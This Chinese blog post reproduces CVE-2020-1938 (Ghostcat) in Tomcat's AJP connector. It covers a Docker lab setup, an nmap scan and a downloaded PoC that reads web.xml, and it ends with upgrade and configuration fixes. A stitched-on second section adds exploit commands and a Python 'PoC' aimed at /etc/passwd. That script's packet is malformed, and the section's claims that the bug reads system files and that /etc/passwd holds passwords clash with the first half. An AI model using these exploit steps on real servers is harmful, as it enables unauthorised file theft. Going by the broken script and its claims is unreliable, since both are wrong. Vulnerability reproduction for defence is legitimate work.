CVE-2020-1938任意文件读取漏洞复现

CVE-2020-1938漏洞介绍

  1. Java是目前Web开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

  2. CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

  3. 这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。

  4. 影响版本

    • Apache Tomcat 9.x < 9.0.31

    • Apache Tomcat 8.x < 8.5.51

    • Apache Tomcat 7.x < 7.0.100

    • Apache Tomcat 6.x

漏洞复现

进入编码为CVE-2020-1938的Apache Tomcat文件包含漏洞,如图所示。

img

拉取当前目录下的漏洞镜像,如图所示,需要一定的时间等待。

img

启动拉取到的镜像,命令是docker-compose up -d,如图所示。

img

查看环境的使用情况,命令是docker ps,如图所示。

img

登录官网,查看拉取到的镜像的启动方式,如图所示。

img

使用nmap工具进行扫描,发现存在8009端口,如图所示,因为ajp协议的端口是8009,所以说明存在ajp协议。

img

去GitHub下载POC脚本,如图所示。

img

运行所下载的POC脚本,如图所示,发现获取到了web.xml的文件。

img

查看靶机里面的web.xml文件,如图所示,发现和使用POC攻击得到的获web.xml的文件一致,说明攻击成功。

img

复现成功,关闭环境,使用命令docker-composedown,如图所示,移除成功。

img

修复、防御的方法

  1. 将tomcat升级到9.0.31、8.5.51或者7.0.100版本

  2. 禁止使用AJP协议

  3. 配置secret来设置AJP协议的认证凭证

### Tomcat AJP CVE-2020-1938 漏洞复现方法与攻击原理 #### 背景介绍 Tomcat AJP 协议中的文件包含漏洞CVE-2020-1938)允许攻击者通过构造恶意请求来读取服务器上的任意文件。此漏洞源于 AJP 协议处理不当,可能导致敏感数据泄露甚至远程代码执行。 --- #### 攻击原理 AJP 是一种二进制通信协议,用于在 Web 服务器(如 Apache HTTP Server)和应用服务器(如 Tomcat)之间传输数据。当启用 AJP 连接器时,如果未正确配置权限控制,则可能被滥用以访问受保护资源。具体来说,攻击者可以通过发送特殊格式的 AJP 请求到默认端口 `8009` 来触发漏洞[^2]。 --- #### 环境搭建 为了重现该漏洞,可以使用 Docker 镜像快速部署易受影响版本的 Tomcat 实例: ```bash docker pull duonghuuphuc/tomcat-8.5.32 docker run -d --name vulnerable-tomcat -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32 ``` 上述命令会启动一个带有已知漏洞Tomcat 容器实例,并映射必要的端口以便测试[^3]。 --- #### 利用工具准备 目前有多个开源项目可用于检测和利用此漏洞,以下是常用的两种方式: 1. **Ghostcat 工具** Ghostcat 提供了一个简单的界面来进行漏洞扫描和验证。可以从其官方仓库下载并运行: ```bash git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git cd Ghostcat-CNVD-2020-10487 python ghostcat.py http://<target-ip>:8009/ ``` 如果目标主机存在漏洞,工具将返回指定路径的内容[^4]。 2. **自定义 Python 脚本** 下面是一个基于 CNVD 的 PoC 脚本示例,可以直接修改后使用: ```python import socket def send_ajp_request(ip, port=8009, filename="/etc/passwd"): packet = b'\x12\x34\x00\x02\xfd\x00\x00\x00\x00\x00\xbb\x02\x4e' \ b'\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ f'{filename}'.encode() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((ip, port)) sock.send(packet) response = sock.recv(1024).decode('utf-8', errors='ignore') if 'root:' in response: print("[+] Vulnerable! File content:") print(response.strip()) else: print("[-] Not vulnerable or file not found.") except Exception as e: print(f"[!] Error occurred: {str(e)}") finally: sock.close() if __name__ == "__main__": target_ip = input("Enter the IP address of the target server: ") send_ajp_request(target_ip) ``` 此脚本尝试连接至目标机器的 AJP 端口,并请求 `/etc/passwd` 文件内容作为演示[^1]。 --- #### 结果分析 一旦成功获取预期文件内容(例如 Linux 系统用户的密码列表),即可确认目标系统受到 CVE-2020-1938 影响。需要注意的是,在实际渗透测试过程中应严格遵循法律规范,仅针对授权范围内的资产操作。 --- #### 补救措施 为了避免此类风险,建议采取以下防护手段之一或组合实施: - 关闭不必要的 AJP 功能; - 使用防火墙限制对 AJP 端口的外部访问; - 更新至最新稳定版 Tomcat 并重新评估安全性设置。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值